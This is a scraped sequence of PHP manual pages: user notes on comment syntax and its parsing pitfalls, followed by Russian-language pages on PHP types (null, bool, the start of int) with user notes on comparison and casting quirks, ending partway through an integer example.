<H1>Standard tag: <?php # echo " standard tag"; ?>single line unix shell style comment</H1>
<p>The header above will break php mode and return html mode and show  'Standard tag:single line unix shell style comment'</p>

<H1>Standard tag: <?php /*echo " standard tag"; */?>multi line c style comment</H1>
<p>The header above will break php mode and return html mode and show  'Standard tag:multi line c style comment'</p>

  <H1>short echo tag: <?= // " short echo tag"; ?>single line c++ style comment</H1>
<p>The header above will break php mode show a unexpected syntex error'</p>

  <H1>short echo tag: <?= #  " short echo tag"; ?>single line c++ style comment</H1>
<p>The header above will break php mode show a unexpected syntex error'</p>

  <H1>short echo tag: <?= /*echo " short echo tag"*/ ; ?>multiple  line c style comment</H1>
<p>The header above will break php mode show a unexpected syntex error'</p>

<H1>Short tag: <? //echo " short tag";?>single line c++ style comment</H1>
<p>The header above will break php mode and return html mode and show  'Short tag:single line c++ style comment'</p>

  <H1>Short tag: <? #echo " short tag";?>single line unix shell style comment</H1>
<p>The header above will break php mode and return html mode and show  'Short tag:single line unix shell style comment'</p>

   <H1>Short tag: <? /* echo " short tag";*/?>multi line c style comment</H1>
<p>The header above will break php mode and return html mode and show  'Short tag:multi line c style comment'</p>

    <H1>Script tag: <script language="php"> // echo " script tag";</script>single line c++ style comment</H1>
<p>The header above will break php mode and return html mode and show  'Script tag:single line c++ style comment'</p>

    <H1>Script tag: <script language="php"> /* echo " script tag";*/</script>multi line c style comment</H1>
<p>The header above will break php mode and return html mode and show  'Script tag:multi line c style comment'</p>

    <H1>Script tag: <script language="php"> # echo " script tag";</script>single line unix shell style comment</H1>
<p>The header above will not break php mode </p>
J. Prettyman 13-Feb-2014 05:55
Notes can come in all sorts of shapes and sizes. They vary, and their uses are completely up to the person writing the code. However, I try to keep things consistent in my code that way it's easy for the next person to read. So something like this might help...

<?php

//======================================================================
// CATEGORY LARGE FONT
//======================================================================

//-----------------------------------------------------
// Sub-Category Smaller Font
//-----------------------------------------------------

/* Title Here Notice the First Letters are Capitalized */

# Option 1
# Option 2
# Option 3

/*
 * This is a detailed explanation
 * of something that should require
 * several paragraphs of information.
 */

// This is a single line quote.
?>
magnesium dot oxide dot play+php at gmail dot com 10-Oct-2013 10:02
It is worth mentioning that, HTML comments have no meaning in PHP parser. So,

<!-- comment
<?php echo some_function(); ?>
-->

WILL execute some_function() and echo result inside HTML comment.
jballard at natoga dot com 15-Dec-2010 02:28
Comments do NOT take up processing power.

So, for all the people who argue that comments are undesired because they take up processing power now have no reason to comment ;)

<?php

// Control
echo microtime(), "<br />"; // 0.25163600 1292450508
echo microtime(), "<br />"; // 0.25186000 1292450508

// Test
echo microtime(), "<br />"; // 0.25189700 1292450508
# TEST TEST TEST TEST TEST TEST TEST TEST TEST TEST TEST TEST TEST TEST TEST TEST TEST TEST TEST
# .. Above comment repeated 18809 times ..
echo microtime(), "<br />"; // 0.25192100 1292450508

?>

They take up about the same amount of time (about meaning on a repeated testing, sometimes the difference between the control and the test was negative and sometimes positive).
Wolfsbay at ya dot ru 12-May-2010 02:10
If you are using editor with code highlight, it's much easier to notice error like /* */ */.
theblazingangel at aol dot com 28-Aug-2007 03:55
it's perhaps not obvious to some, but the following code will cause a parse error! the ?> in //?> is not treated as commented text, this is a result of having to handle code on one line such as <?php echo 'something'; //comment ?>

<?php
if(1==1)
{
    //?>
}
?>

i discovered this "anomally" when i commented out a line of code containing a regex which itself contained ?>, with the // style comment.
e.g. //preg_match('/^(?>c|b)at$/', 'cat', $matches);
will cause an error while commented! using /**/ style comments provides a solution. i don't know about # style comments, i don't ever personally use them.
fun at nybbles dot com 13-Jul-2006 10:28
a trick I have used in all languages to temporarily block out large sections (usually for test/debug/new-feature purposes), is to set (or define) a var at the top, and use that to conditionally comment the blocks; an added benefit over if(0) (samuli's comment from nov'05) is that u can have several versions or tests running at once, and u dont require cleanup later if u want to keep the blocks in:  just reset the var.

personally, I use this more to conditionally include code for new feature testing, than to block it out,,,, but hey, to each their own :)

this is also the only safe way I know of to easily nest comments in any language, and great for multi-file use, if the conditional variables are placed in an include :)

for example, placed at top of file:

<?php $ver3 = TRUE;
       $debug2 = FALSE;
?>

and then deeper inside the file:

<?php if ($ver3) {
           print("This code is included since we are testing version 3");
         }
?>

<?php if ($debug2) {
           print("This code is 'commented' out");
         }
?>
J Lee 25-May-2006 11:39
MSpreij (8-May-2005) says  /* .. */ overrides //
Anonymous (26-Jan-2006) says // overrides /* .. */

Actually, both are correct. Once a comment is opened, *everything* is ignored until the end of the comment (or the end of the php block) is reached.

Thus, if a comment is opened with:
   //  then /* and */ are "overridden" until after end-of-line
   /*  then // is "overridden" until after */
hcderaad at wanadoo dot nl 29-Jun-2005 01:51
Comments in PHP can be used for several purposes, a very interesting one being that you can generate API documentation directly from them by using PHPDocumentor (http://www.phpdoc.org/).

Therefor one has to use a JavaDoc-like comment syntax (conforms to the DocBook DTD), example:
<?php
/**
* The second * here opens the DocBook commentblock, which could later on<br>
* in your development cycle save you a lot of time by preventing you having to rewrite<br>
* major documentation parts to generate some usable form of documentation.
*/
?>
Some basic html-like formatting is supported with this (ie <br> tags) to create something of a layout.
M Spreij 08-May-2005 12:15
A nice way to toggle the commenting of blocks of code can be done by mixing the two comment styles:
<?php
//*
if ($foo) {
  echo $bar;
}
// */
sort($morecode);
?>

Now by taking out one / on the first line..

<?php
/*
if ($foo) {
  echo $bar;
}
// */
sort($morecode);
?>
..the block is suddenly commented out.
This works because a /* .. */ overrides //. You can even "flip" two blocks, like this:
<?php
//*
if ($foo) {
  echo $bar;
}
/*/
if ($bar) {
  echo $foo;
}
// */
?>
vs
<?php
/*
if ($foo) {
  echo $bar;
}
/*/
if ($bar) {
  echo $foo;
}
// */
?>
Steve 15-Dec-2004 04:41
Be careful when commenting out regular expressions.

E.g. the following causes a parser error.

I do prefer using # as regexp delimiter anyway so it won't hurt me ;-)

<?php

/*

 $f->setPattern('/^\d.*/');

*/

?>


Типы

Содержание

  • Введение
  • Система типов
  • NULL
  • Логический тип
  • Целые числа
  • Числа с плавающей точкой
  • Строки
  • Числовые строки
  • Массивы
  • Объекты
  • Перечисления
  • Ресурс
  • Функции обратного вызова (callback-функции)
  • Mixed
  • Void
  • Never
  • Относительные типы классов
  • Value types
  • Итерируемые
  • Объявление типов
  • Манипуляции с типами

User Contributed Notes

There are no user contributed notes for this page.


Введение

У каждого выражения в PHP один из следующих встроенных типов в зависимости от его значения:

  • null
  • bool
  • int
  • float (floating-point number)
  • string
  • array
  • object
  • callable
  • resource

PHP - динамически типизированный язык, что означает, что по умолчанию нет необходимости указывать тип переменной, так как он будет определён во время выполнения. Однако можно статически типизировать некоторые аспекты языка, используя декларации типов.

Типы ограничивают тип операций, которые могут быть выполнены над ними. Однако, если выражение/переменная используется в операции, которую не поддерживает её тип, PHP попытается преобразовать значение в тип, который поддерживает операцию. Этот процесс зависит от контекста, в котором используется значение. Для получения дополнительной информации смотрите раздел Манипуляции с типами.

Подсказка

Таблицы сравнения типов также могут быть полезны, поскольку в них представлены различные примеры сравнения значений разных типов.

Замечание: Можно заставить выражение оцениваться с определённым типом, используя приведение типов. Переменная также может быть приведена к определённому типу с помощью функции settype().

Чтобы проверить значение и тип выражения, используйте функцию var_dump(). Чтобы получить тип выражения, используйте функцию get_debug_type(). Однако, чтобы проверить, является ли выражение определённым типом, используйте функции is_type.

<?php
$a_bool = true; // логическое значение
$a_str = "foo"; // строка
$a_str2 = 'foo'; // строка
$an_int = 12; // целое число

echo get_debug_type($a_bool), "\n";
echo get_debug_type($a_str), "\n";

// Если это целое число, увеличить на четыре
if (is_int($an_int)) {
$an_int += 4;
}
var_dump($an_int);

// Если $a_bool - это строка, вывести её
if (is_string($a_bool)) {
echo "Строка: $a_bool";
}
?>

Результат выполнения данного примера в PHP 8:

bool
string
int(16)

Замечание: До PHP 8.0.0, где функция get_debug_type() недоступна, вместо неё можно использовать функцию gettype(). Однако она не использует канонические имена типов.

User Contributed Notes

There are no user contributed notes for this page.


Система типов

В PHP используется система номинальных типов с сильным поведенческим отношением подтипизации. Отношение подтипизации проверяется во время компиляции, в то время как верификация типов проверяется динамически во время выполнения.

Система типов PHP поддерживает различные атомарные типы, которые могут быть объединены вместе для создания более сложных типов. Некоторые из этих типов могут быть записаны как объявление типов.

Атомарные типы

Некоторые атомарные типы являются встроенными типами, которые тесно интегрированы с языком и не могут быть воспроизведены с помощью типов, определённых пользователем.

Список базовых типов:

  • Встроенные типы
    • Тип null
    • Скалярные типы:
      • Тип bool
      • Тип int
      • Тип float
      • Тип string
    • Тип array
    • Тип object
    • Тип resource
    • Тип never
    • Тип void
    • Относительные типы классов: self, parent и static
  • Типы значений
    • false
    • true
  • Определяемые пользователем типы (обычно называемые типами классов)
    • Интерфейсы
    • Классы
    • Перечисления
  • Тип callable

Составные типы

Возможно объединение нескольких атомарных типов в составные типы. PHP позволяет объединять типы следующими способами:

  • Пересечение классов-типов (интерфейсов и имён классов).
  • Объединение типов.

Пересечение типов

Пересечение типов принимает значения, удовлетворяющие не одному, а нескольким объявлениям типов классов. Отдельные типы, образующие пересечение типов, соединяются символом &. Поэтому пересечение типов, состоящее из типов T, U и V, будет записано как T&U&V.

Объединение типов

Объединение типов принимает значения нескольких различных типов, а не одного. Отдельные типы, образующие объединение типов, соединяются символом |. Поэтому объединение типов, состоящее из типов T, U и V, будет записано как T|U|V. Если один из типов является пересечением типов, то для записи в DNF его нужно заключить в скобки: T|(X&Y).

Псевдонимы типов

PHP поддерживает два псевдонима типов: mixed и iterable, которые соответствуют объединению типов object|resource|array|string|float|int|bool|null и Traversable|array соответственно.

Замечание: PHP не поддерживает определяемые пользователем псевдонимы типов.

User Contributed Notes

There are no user contributed notes for this page.


NULL

Тип null - это единичный тип PHP, то есть он имеет только одно значение: null.

Неопределённые и unset() переменные преобразуются в значение null.

Синтаксис

Существует только одно значение типа null - регистронезависимая константа null.

<?php
$var = NULL;
?>

Приведение к null

Внимание

Данная функциональность объявлена УСТАРЕВШЕЙ, начиная с PHP 7.2.0 и была УДАЛЕНА в версии PHP 8.0.0. Использовать эту функцию крайне не рекомендуется.

Приведение переменной к null с использованием (unset) $var не удаляет переменную и её значение. Данное выражение только возвращает null

Смотрите также

  • is_null()
  • unset()

User Contributed Notes

elayachi2022karim at gmail dot com 16-Dec-2023 12:03
<?php

// Note : Empty strings and arrays return true when compared to null using the non-strict equality operator == .

var_export( [] == null ); // <== return true
echo "\n";
var_export( "" == null ); // <== return true
echo "\n";

// the correct way is to use strict equal ===

echo ( [] === null);
echo "\n";
echo ( "" === null);
echo "\n";

/* Alternatively, the is_null() function can be used to explicitly check if a value is null.
In this case, is_null("") and is_null([]) will both return false. */

echo (is_null(""));
echo "\n";
echo (is_null([]));
echo "\n";
mattias at kregert dot se 22-Jul-2021 07:57
Note that NULL works like a magic object with any attribute you can name, but they are all NULL:

foreach ( [ null, null ] as $person ) {
  $friends[] = [ 'Name'=>$person['name'], 'Phone'=>$person['cell'] ];
}

print_r($friends);

Array
(
    [0] => Array
        (
            [Name] =>
            [Phone] =>
        )

    [1] => Array
        (
            [Name] =>
            [Phone] =>
        )

)

This means that:
* NULL == NULL['foo']['bar']['whatever']

This can be slightly confusing if you accidentally slip a NULL into an array of other items.
hydrogen at live dot in 10-Apr-2021 03:39
I would like to add for clarification that:

$x=NULL;

--$x;
// $x is still NULL.
// Decrementing NULL, using Decrement Operator, gives NULL.

$x-=1;
// $x is now int(-1).
// This actually decrements value by 1.

On the other hand, Incrementation works simply as expected.
Hope this helps :)
Mojo 10-Feb-2021 10:18
Pay attention then using operator -- on NULL values:

$x = null;
--$x;      // $x is NULL
$x--;      // still NULL
$x -= 1;   // $x is -1

On other side for ++ everything works fine:

$x = null;
++$x;      // $ix is 1
Anonymous 11-Jan-2018 07:38
Note: Non Strict Comparison '==' returns bool(true) for

null == 0 <-- returns true

Use Strict Comparison Instead

null === 0 <-- returns false
Hayley Watson 07-Dec-2017 11:07
NULL is supposed to indicate the absence of a value, rather than being thought of as a value itself. It's the empty slot, it's the missing information, it's the unanswered question. It's not a jumped-up zero or empty set.

This is why a variable containing a NULL is considered to be unset: it doesn't have a value. Setting a variable to NULL is telling it to forget its value without providing a replacement value to remember instead. The variable remains so that you can give it a proper value to remember later; this is especially important when the variable is an array element or object property.

It's a bit of semantic awkwardness to speak of a "null value", but if a variable can exist without having a value, the language and implementation have to have something to represent that situation. Because someone will ask. If only to see if the slot has been filled.
quickpick 22-Apr-2011 03:36
Note: empty array is converted to null by non-strict equal '==' comparison. Use is_null() or '===' if there is possible of getting empty array.

$a = array();

$a == null  <== return true
$a === null < == return false
is_null($a) <== return false


Логический тип

У логического типа (bool) только два значения, которые используются для выражения истинностного значения. Он может быть либо true, либо false.

Синтаксис

Для указания bool, используйте константы true или false. Они обе регистронезависимы.

<?php
$foo = True; // присвоить $foo значение TRUE
?>

Обычно, некоторый оператор возвращает значение типа bool, которое потом передаётся управляющей конструкции.

<?php
// == это оператор, который проверяет
// эквивалентность и возвращает boolean
if ($action == "show_version") {
echo "Версия 1.23";
}

// это необязательно...
if ($show_separators == TRUE) {
echo "<hr>\n";
}

// ... потому что следующее имеет тот же самый смысл:
if ($show_separators) {
echo "<hr>\n";
}
?>

Преобразование в логический тип

Для явного преобразования в bool, используйте приведение (bool). Обычно в этом нет необходимости, поскольку при использовании значения в логическом контексте оно автоматически интерпретируется как значение логического типа (bool). Дополнительную информацию смотрите на странице манипуляции с типами.

При преобразовании в bool, следующие значения рассматриваются как false:

  • само значение boolean false
  • integer 0 (ноль)
  • float 0.0 (ноль) и -0.0 (минус ноль)
  • пустая строка "" и строка "0"
  • массив без элементов
  • особый тип NULL (включая неустановленные переменные)
  • внутренние объекты, которые перегружают своё поведение приведения к логическому типу. Например: объекты SimpleXML, созданные из пустых элементов без атрибутов.

Все остальные значения считаются true (включая resource и NAN).

Внимание

-1 рассматривается как true, как и любое другое ненулевое (отрицательное или положительное) число!

<?php
var_dump((bool) ""); // bool(false)
var_dump((bool) "0"); // bool(false)
var_dump((bool) 1); // bool(true)
var_dump((bool) -2); // bool(true)
var_dump((bool) "foo"); // bool(true)
var_dump((bool) 2.3e5); // bool(true)
var_dump((bool) array(12)); // bool(true)
var_dump((bool) array()); // bool(false)
var_dump((bool) "false"); // bool(true)
?>

User Contributed Notes

federicktiku163 at gmail dot com 31-Jul-2023 07:19
I also noticed when converting :
for example

var_dump((bool) "")  // this will output  false

var_dump((bool) " ") // this will output true

So mistakenly adding space between the parentheses can give
you what you dont't want.
mike652638 at qq dot com 14-Jul-2021 04:41
// For those newbies who may also have puzzles as following:
  $bool_val = (bool)true;
  echo $bool_val;
  // Codes above prints 1

  $bool_val2 = (bool)false;
  echo $bool_val2;
  // Codes above prints nothing (literally nothing)

  // But how to print false or 0 (instead of nothing) for the falsy value or condition then ?

  // Solution1:
  $bool_exp1 = (bool)false;
  echo $bool_exp1 ? 'true' : 'false';
  // Codes above prints false;

  // Solution2:
  $bool_exp2 = (bool)false;
  echo json_encode($bool_exp2);
  // Codes above prints false;

  // Solution3:
  $bool_exp3 = (bool)false;
  echo var_export($bool_exp3);
  // Codes above prints false;

  // Soluton4:
  $bool_exp4 = (bool)false;
  echo (int)$bool_exp4;
  // Codes above prints 0;

  // Solution5:
  $bool_exp5 = (bool)false;
  var_dump($bool_exp5);
  // Codes above prints bool(false);
asma dot gi dot 14 at gmail dot com 25-May-2021 05:33
when using echo false; or print false; the display will be empty but when using echo 0; or print 0; the display will be 0.
asma dot gi dot 14 at gmail dot com 25-May-2021 05:26
Please keep in mind that the result of  0 == 'whatever'  is true in PHP Version 7 and false in PHP version 8.
Anonymous 13-Aug-2020 01:08
What will be the output you think if we add echo and print both at a time..

<?php

$a = 5;

print print $a;  // prints out: 51     inner 'print' prints the value of $a, then                                                                                                                                     // outer 'print' returns  the boolean true about print $a

echo print $a;  // prints out: 51     inner 'print' prints the value of $a, then
// outer 'echo' returns  the boolean true about print $a

echo echo $a;    // syntax error.. echo doesn't return

print echo $a;     // syntax error.. echo doesn't return

?>
sumon dot pdk dot bd at gmail dot com 21-Jan-2020 09:23
When compare zero (0) with string it's return true by type jugling. When compare with TRUE with also the same string it's also returning true.
But when comparing zero (0) with True then it's returning FALSE.

echo 0 == 'This is a string'; // 1
echo TRUE == 'This is a string'; //1
echo 0 == TRUE ; // FALSE
shady dot elmashad at feng dot bu dot edu dot eg 02-Sep-2017 03:10
First, this is very useful.
Second, I want to ask about the example, how the following:
var_dump((bool) "false");   // bool(true)

Thanks in advance
http://www.bu.edu.eg/staff/shadyelmashad3
Mark Simon 28-May-2017 02:35
Note on the OR operator.

A previous comment notes the trap you can fall into with this operator. This is about its usefulness.

Both OR and || are short-circuited operators, which means they will stop evaluating once they reach a TRUE value. By design, OR is evaluated after assignment (while || is evaluated before assignment).

This has the benefit of allowing some simple constructions such as:

<?php
    $stuff=getStuff() or die('oops');
    $thing=something() or $thing=whatever();
?>

The first example, often seen in PERL, could have been written as <?php if(!$stuff=getStuff()) die('oops'); ?> but reads a little more naturally. I have often used it in situations where null or false indicate failure.

The second allows for an alternative value if a falsy one is regarded as insufficient. The following example

<?php
    $page=@$_GET['page'] or $page=@$_COOKIE['page'] or $page=1;
?>

is a simple way sequencing alternative values. (Note the usual warnings about using the @ operator or accepting unfiltered input ...)

All this presupposes that 0 is also an unacceptable value in the situation.
Mark Simon 28-May-2017 02:19
Note for JavaScript developers:

In PHP, an empty array evaluates to false, while in JavaScript an empty array evaluates to true.

In PHP, you can test an empty array as <?php if(!$stuff) ...; ?> which won't work in JavaScript where you need to test the array length.

This is because in JavaScript, an array is an object, and, while it may not have any elements, it is still regarded as something.

Just a trap for young players who routinely work in both langauges.
goran77 at fastmail dot fm 29-Aug-2016 06:48
Just something that will probably save time for many new developers: beware of interpreting FALSE and TRUE as integers.
For example, a small function for deleting elements of an array may give unexpected results if you are not fully aware of what happens:

<?php

function remove_element($element, $array)
{
   //array_search returns index of element, and FALSE if nothing is found
   $index = array_search($element, $array);
   unset ($array[$index]);
   return $array;
}

// this will remove element 'A'
$array = ['A', 'B', 'C'];
$array = remove_element('A', $array);

//but any non-existent element will also remove 'A'!
$array = ['A', 'B', 'C'];
$array = remove_element('X', $array);
?>

The problem here is, although array_search returns boolean false when it doesn't find specific element, it is interpreted as zero when used as array index.

So you have to explicitly check for FALSE, otherwise you'll probably loose some elements:

<?php
//correct
function remove_element($element, $array)
{
   $index = array_search($element, $array);
   if ($index !== FALSE)
   {
       unset ($array[$index]);
   }
   return $array;
}
richie dot hayward at gmail dot com 11-Jun-2016 12:22
Actually from a complete noob point of view 0 resulting in false makes sense as many languages as I have been taught consider the value 1 as true and the value 0 as false a simple boolean value.

So lets says you think you set a variable to 0 and some how or another through your code this value has implicitly become and string instead of a int or boolean. Should PHP now consider it to evaluate to false. I wouldn't think so but hey I'm a PHP noob so perhaps I'm missing why you would ever want a "0" string to evaluate to true.
marklgr 21-Oct-2015 02:22
For those wondering why the string "0" is falsy, consider that a good deal of input data is actually string-typed, even when it is semantically numeral.

PHP often tries to autoconvert these strings to numeral, as the programmer certainly intended (try 'echo "2"+3'). Consequently, PHP designers decided to treat 0 and "0" similarly, ie. falsy, for consistency and to avoid bugs where the programmer believes he got a true numeral that would happen to be truthy when zero.
emanuelemicciulla[at]gmail[dot]com 13-Nov-2014 06:08
A lot of people apparently looking for this:
<?php
$strictBool = filter_var($stringBool, FILTER_VALIDATE_BOOLEAN, FILTER_NULL_ON_FAILURE);
if($boolFanOvr === null) { /*manage error*/};
?>

it's TRUE for "true" "True" "TRUE" "Yes" "1" and so on.
FALSE for "false" "0" "no" and so on.
it's NULL if string doesn't represent a valid boolean.
Fred Koschara 15-May-2013 05:38
Ah, yes, booleans - bit values that are either set (TRUE) or not set (FALSE).  Now that we have 64 bit compilers using an int variable for booleans, there is *one* value which is FALSE (zero) and 2**64-1 values that are TRUE (everything else).  It appears there's a lot more truth in this universe, but false can trump anything that's true...

PHP's handling of strings as booleans is *almost* correct - an empty string is FALSE, and a non-empty string is TRUE - with one exception:  A string containing a single zero is considered FALSE.  Why?  If *any* non-empty strings are going to be considered FALSE, why *only* a single zero?  Why not "FALSE" (preferably case insensitive), or "0.0" (with how many decimal places), or "NO" (again, case insensitive), or ... ?

The *correct* design would have been that *any* non-empty string is TRUE - period, end of story.  Instead, there's another GOTCHA for the less-than-completely-experienced programmer to watch out for, and fixing the language's design error at this late date would undoubtedly break so many things that the correction is completely out of the question.

Speaking of GOTCHAs, consider this code sequence:
<?php
$x=TRUE;
$y=FALSE;
$z=$y OR $x;
?>

Is $z TRUE or FALSE?

In this case, $z will be FALSE because the above code is equivalent to <?php ($z=$y) OR $x ?> rather than <?php $z=($y OR $x) ?> as might be expected - because the OR operator has lower precedence than assignment operators.

On the other hand, after this code sequence:
<?php
$x=TRUE;
$y=FALSE;
$z=$y || $x;
?>

$z will be TRUE, as expected, because the || operator has higher precedence than assignment:  The code is equivalent to $z=($y OR $x).

This is why you should NEVER use the OR operator without explicit parentheses around the expression where it is being used.
geza at turigeza dot com 26-Mar-2013 06:14
// someKey is a boolean true
$array = array('someKey'=>true);

// in the following 'false' string gets converted to a boolean true
if($array['someKey'] != 'false')
    echo 'The value of someKey is '.$array['someKey'];

As a result the above will output nothing :)

if($array['someKey'] == 'false')
    echo 'The value of someKey is '.$array['someKey'];

And the above will output
The value of someKey is 1

In short true == 'false' is true.
oscar at oveas dot com 01-Dec-2010 03:17
Dunno if someone else posted this solution already, but if not, here's a useful and function to convert strings to strict booleans.
Note this one only checks for string and defaults to the PHP (boolean) cast where e.g. -1 returns true, but you easily add some elseifs for other datatypes.

<?php
function toStrictBoolean ($_val, $_trueValues = array('yes', 'y', 'true'), $_forceLowercase = true)
{
    if (is_string($_val)) {
        return (in_array(
             ($_forceLowercase?strtolower($_val):$_val)
            , $_trueValues)
        );
    } else {
        return (boolean) $_val;
    }
}
?>
fyrye at torntech dot com 14-Jun-2010 04:39
Since I haven't seen it posted.
Here is a function that you can use if you have a need to force strict boolean values.
Hopefully this will save someone some time from searching for similar.
<?php
function strictBool($val=false){
    return is_integer($val)?false:$val == 1;
}
?>

Simply put, it verifies that the value passed is (bool)true otherwise it's false.

Examples:
__________________________________
<?php
$myBool = strictBool(true);
var_dump($myBool);
//returns (bool)true

$myar = array(0 => true);
$myBool = strictBool($myar[0]);
var_dump($myBool);
//returns (bool)true

$myBool = strictBool("hello");
var_dump($myBool);
//returns (bool)false

$myBool = strictBool(false);
var_dump($myBool);
//returns (bool)false

$myBool = strictBool(array(0 => "hello"));
var_dump($myBool);
//returns (bool)false

$myBool = strictBool(1);
var_dump($myBool);
//returns (bool)false

$myBool = strictBool();
var_dump($myBool);
//returns (bool)false
?>
mercusmaximus at yahoo dot com 06-Feb-2010 01:50
Note that the comparison: (false == 0) evaluates to true and so will any value you set to false as well (without casting).
Symbol 11-Apr-2009 01:35
Just a side note, doesn't really matters, the reason -1 is true and not false is because boolean type is treated as unsigned, so -1 would be for example, if it's unsigned int32 translate to hex: 0xFFFFFFFF and back to decimal: 4294967295 which is non-zero. there isn't really a "negative boolean". it's a binary thing. :o (since it used to be a bit and then there was only 0 and 1 as an option)
admin at eexit dot fr 04-Nov-2008 12:27
Beware of certain control behavior with boolean and non boolean values :

<?php
// Consider that the 0 could by any parameters including itself
var_dump(0 == 1); // false
var_dump(0 == (bool)'all'); // false
var_dump(0 == 'all'); // TRUE, take care
var_dump(0 === 'all'); // false

// To avoid this behavior, you need to cast your parameter as string like that :
var_dump((string)0 == 'all'); // false
?>
wbcarts at juno dot com 06-Oct-2008 11:59
CODING PRACTICE...

Much of the confusion about booleans (but not limited to booleans) is the fact that PHP itself automatically makes a type cast or conversion for you, which may NOT be what you want or expect. In most cases, it's better to provide functions that give your program the exact behavior you want.
<?php

function boolNumber($bValue = false) {                      // returns integer
  return ($bValue ? 1 : 0);
}

function boolString($bValue = false) {                      // returns string
  return ($bValue ? 'true' : 'false');
}

$a = true;                                                  // boolean value
echo 'boolean $a AS string = ' . boolString($a) . '<br>';   // boolean as a string
echo 'boolean $a AS number = ' . boolNumber($a) . '<br>';   // boolean as a number
echo '<br>';

$b = (45 > 90);                                             // boolean value
echo 'boolean $b AS string = ' . boolString($b) . '<br>';   // boolean as a string
echo 'boolean $b AS number = ' . boolNumber($b) . '<br>';   // boolean as a number
echo '<br>';

$c = boolNumber(10 > 8) + boolNumber(!(5 > 10));            // adding booleans
echo 'integer $c = ' . $c .'<br>';

?>
Results in the following being printed...

 boolean $a AS string = true
 boolean $a AS number = 1

 boolean $b AS string = false
 boolean $b AS number = 0

 integer $c = 2

In other words, if we know what we want out of our program, we can create functions to accommodate. Here, we just wanted 'manual control' over numbers and strings, so that PHP doesn't confuse us.
Wackzingo 27-Jan-2008 06:39
It is correct that TRUE or FALSE should not be used as constants for the numbers 0 and 1. But there may be times when it might be helpful to see the value of the Boolean as a 1 or 0. Here's how to do it.

<?php
$var1 = TRUE;
$var2 = FALSE;

echo $var1; // Will display the number 1

echo $var2; //Will display nothing

/* To get it to display the number 0 for
a false value you have to typecast it: */

echo (int)$var2; //This will display the number 0 for false.
?>
Steve 15-Jan-2008 03:00
PHP does not break any rules with the values of true and false.  The value false is not a constant for the number 0, it is a boolean value that indicates false.  The value true is also not a constant for 1, it is a special boolean value that indicates true.  It just happens to cast to integer 1 when you print it or use it in an expression, but it's not the same as a constant for the integer value 1 and you shouldn't use it as one.  Notice what it says at the top of the page:

A boolean expresses a truth value.

It does not say "a boolean expresses a 0 or 1".

It's true that symbolic constants are specifically designed to always and only reference their constant value.  But booleans are not symbolic constants, they are values.  If you're trying to add 2 boolean values you might have other problems in your application.
artktec at gmail dot com 27-Sep-2007 09:37
Note you can also use the '!' to convert a number to a boolean, as if it was an explicit (bool) cast then NOT.

So you can do something like:

<?php
$t = !0; // This will === true;
$f = !1; // This will === false;
?>

And non-integers are casted as if to bool, then NOT.

Example:

<?php
$a = !array();      // This will === true;
$a = !array('a');   // This will === false;
$s = !"";           // This will === true;
$s = !"hello";      // This will === false;
?>

To cast as if using a (bool) you can NOT the NOT with "!!" (double '!'), then you are casting to the correct (bool).

Example:

<?php
$a = !!array();   // This will === false; (as expected)
/*
This can be a substitute for count($array) > 0 or !(empty($array)) to check to see if an array is empty or not  (you would use: !!$array).
*/

$status = (!!$array ? 'complete' : 'incomplete');

$s = !!"testing"; // This will === true; (as expected)
/*
Note: normal casting rules apply so a !!"0" would evaluate to an === false
*/
?>
terminatorul at gmail dot com 29-Apr-2007 02:21
Beware that "0.00" converts to boolean TRUE !

You may get such a string from your database, if you have columns of type DECIMAL or CURRENCY. In such cases you have to explicitly check if the value is != 0 or to explicitly convert the value to int also, not only to boolean.


Целые числа

int — это число из множества ? = {..., -2, -1, 0, 1, 2, ...}.

Смотрите также

  • Числа с плавающей точкой
  • Вычисления над числами с произвольной точностью BCMath
  • Вычисления над целыми числами с произвольной точностью (GNU Multiple Precision)

Синтаксис

Целые числа (int) могут быть указаны в десятичной (основание 10), шестнадцатеричной (основание 16), восьмеричной (основание 8) или двоичной (основание 2) системе счисления. Для задания отрицательных целых (int) используют оператор отрицания

Для записи в восьмеричной системе счисления перед числом ставят 0 (ноль). Начиная с PHP 8.1.0, восьмеричной нотации также может предшествовать 0o или 0O. Для записи в шестнадцатеричной системе счисления необходимо поставить перед числом 0x. Для записи в двоичной системе счисления необходимо поставить перед числом 0b

Начиная с PHP 7.4.0, целочисленные литералы могут содержать подчёркивания (_) между цифрами для лучшей читаемости литералов. Эти подчёркивания удаляются сканером PHP.

Пример #1 Целые числа

<?php
$a = 1234; // десятичное число
$a = 0123; // восьмеричное число (эквивалентно 83 в десятичной системе)
$a = 0o123; // восьмеричное число (начиная с PHP 8.1.0)
$a = 0x1A; // шестнадцатеричное число (эквивалентно 26 в десятичной системе)
$a = 0b11111111; // двоичное число (эквивалентно 255 в десятичной системе)
$a = 1_234_567; // десятичное число (с PHP 7.4.0)
?>

Формально, структура целых чисел int принята в PHP 8.1.0 (ранее не допускались восьмеричные префиксы 0o или 0O, а до PHP 7.4.0 не допускалось подчёркивание):

десятичные        : [1-9][0-9]*(_[0-9]+)*
                  | 0

шестнадцатеричные : 0[xX][0-9a-fA-F]+(_[0-9a-fA-F]+)*

восьмеричные      : 0[oO]?[0-7]+(_[0-7]+)*

двоичные          : 0[bB][01]+(_[01]+)*

целые             : десятичные
                  | шестнадцатеричные
                  | восьмеричные
                  | двоичные

Размер типа int зависит от платформы, хотя, как правило, максимальное значение примерно равно 2 миллиардам (это 32-битное знаковое). 64-битные платформы обычно имеют максимальное значение около 9E18. PHP не поддерживает беззнаковые целые числа (int). Размер int может быть определён с помощью константы PHP_INT_SIZE, максимальное значение — с помощью константы PHP_INT_MAX, а с помощью константы PHP_INT_MIN можно определить минимальное значение.

Переполнение целых чисел

Если PHP обнаружил, что число превышает размер типа int, он будет интерпретировать его в качестве float. Аналогично, если результат операции лежит за границами типа int, он будет преобразован во float.

Пример #2 Переполнение целых на 32-битных системах

<?php
$large_number = 2147483647;
var_dump($large_number); // int(2147483647)

$large_number = 2147483648;
var_dump($large_number); // float(2147483648)

$million = 1000000;
$large_number = 50000 * $million;
var_dump($large_number); // float(50000000000)
?>

Пример #3 Переполнение целых на 64-битных системах

<?php
$large_number = 9223372036854775807;
var_dump($large_number); // int(9223372036854775807)

$large_number = 9223372036854775808;
var_dump($large_number); // float(9.2233720368548E+18)

$million = 1000000;
$large_number = 50000000000000 * $million;
var_dump($large_number); // float(5.0E+19)
?>

В PHP нет оператора целочисленного (int) деления, для этого существует функция intdiv(). Результатом 1/2 будет float 0.5. Если привести значение к int, оно будет округлено вниз, то есть будет отброшена дробная часть числа. Для большего контроля над округлением используют функцию round().

<?php
